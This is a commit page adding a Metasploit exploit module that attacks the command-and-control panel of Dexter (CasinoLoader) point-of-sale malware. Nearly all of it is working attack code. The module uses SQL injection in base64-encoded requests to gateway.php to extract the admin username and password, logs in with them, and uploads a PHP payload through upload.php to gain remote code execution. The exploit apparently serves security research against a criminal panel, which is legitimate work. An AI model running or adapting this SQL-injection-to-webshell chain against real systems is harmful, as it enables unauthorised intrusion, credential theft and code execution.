Skip to content

Commit 9daffbd

Browse files
committed
Land rapid7#2973 - Dexter panel (CasinoLoader) SQLi to file upload code exec
2 parents 3299b68 + 48199fe commit 9daffbd

File tree

1 file changed

+172
-0
lines changed

1 file changed

+172
-0
lines changed
Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "Dexter (CasinoLoader) SQL Injection",
16+
'Description' => %q{
17+
This module exploits a vulnerability found in the command and control panel
18+
used to control Dexter (Point of Sale malware). This is done by accessing the
19+
PHP page used by bots to report in (gateway.php) which does not sanitize input.
20+
Input is encrypted and encoded, but the key is supplied by the bot connecting.
21+
The 'page' parameter is used in this case. The command and control panel designates
22+
a location to upload files, and can be used as a reliable location to write a
23+
PHP shell. Authentication is not needed to exploit this vulnerability.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'bwall (Brian Wallace) <bwallace[at]cylance.com>'
29+
],
30+
'References' =>
31+
[
32+
[
33+
"URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
34+
]
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00"
39+
},
40+
'Platform' => ['php'],
41+
'Arch' => ARCH_PHP,
42+
'Targets' =>
43+
[
44+
['CasinoLoader gateway.php on Windows', {}],
45+
['CasinoLoader gateway.php on Linux', {}]
46+
],
47+
'Privileged' => false,
48+
'DisclosureDate' => "Feb 08 2014"
49+
))
50+
51+
register_options(
52+
[
53+
OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']),
54+
OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']),
55+
OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']),
56+
OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']),
57+
OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users'])
58+
], self.class)
59+
end
60+
61+
def gateway
62+
return normalize_uri(target_uri.path, datastore['TARGETGATEWAY'])
63+
end
64+
65+
def login
66+
return normalize_uri(target_uri.path, datastore['TARGETLOGIN'])
67+
end
68+
69+
def upload
70+
return normalize_uri(target_uri.path, datastore['TARGETUPLOAD'])
71+
end
72+
73+
def database_get_field(table, column, row)
74+
res = send_request_cgi({
75+
'method' => 'POST',
76+
'uri'=>gateway,
77+
'vars_post' => {
78+
'val' => 'AA==',
79+
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --")
80+
}
81+
})
82+
if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=')
83+
return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3]
84+
end
85+
return false
86+
end
87+
88+
def check
89+
testvalue = rand_text_alpha(9)
90+
res = send_request_cgi({
91+
'method' => 'POST',
92+
'uri'=>gateway,
93+
'vars_post' => {
94+
'val' => 'AA==',
95+
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --")
96+
}
97+
})
98+
99+
if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and
100+
Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false
101+
return Exploit::CheckCode::Vulnerable
102+
end
103+
return Exploit::CheckCode::Safe
104+
end
105+
106+
107+
def exploit
108+
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
109+
110+
print_status("#{peer} - Using SQL injection to acquire credentials")
111+
user = database_get_field('users', 'name', 0)
112+
if user == false
113+
print_error("#{peer} - Failed to acquire administrator username")
114+
return
115+
end
116+
117+
password = database_get_field('users', 'password', 0)
118+
if password == false
119+
print_error("#{peer} - Failed to acquire administrator password")
120+
end
121+
122+
print_status("#{peer} - Using #{user}:#{password}")
123+
124+
res = send_request_cgi({
125+
'method' => 'POST',
126+
'uri'=>login,
127+
'vars_post' => {
128+
'submit' => '1',
129+
'username' => user,
130+
'password' => password
131+
}
132+
})
133+
134+
login_cookie = ""
135+
136+
if res and res.headers.has_key?('Location')
137+
login_cookie = res.get_cookies
138+
print_status("#{peer} - Login successful")
139+
else
140+
print_error("#{peer} - Failed to log in")
141+
return
142+
end
143+
144+
data = Rex::MIME::Message.new
145+
data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"')
146+
data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"")
147+
post_data = data.to_s
148+
149+
print_status("#{peer} - Sending PHP payload (#{payload_name})")
150+
res = send_request_cgi({
151+
'method' => 'POST',
152+
'uri' => upload,
153+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
154+
'cookie' => login_cookie,
155+
'data' => post_data
156+
})
157+
158+
if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
159+
path = $1
160+
if target.name =~ /Linux/
161+
path = path.sub! "\\", "/"
162+
end
163+
target_path = normalize_uri(target_uri.path, path)
164+
print_status("#{peer} - Requesting: #{target_path}")
165+
send_request_raw({'uri' => normalize_uri(target_path)})
166+
handler
167+
else
168+
print_error("#{peer} - Failed to upload file")
169+
return
170+
end
171+
end
172+
end

0 commit comments

Comments
 (0)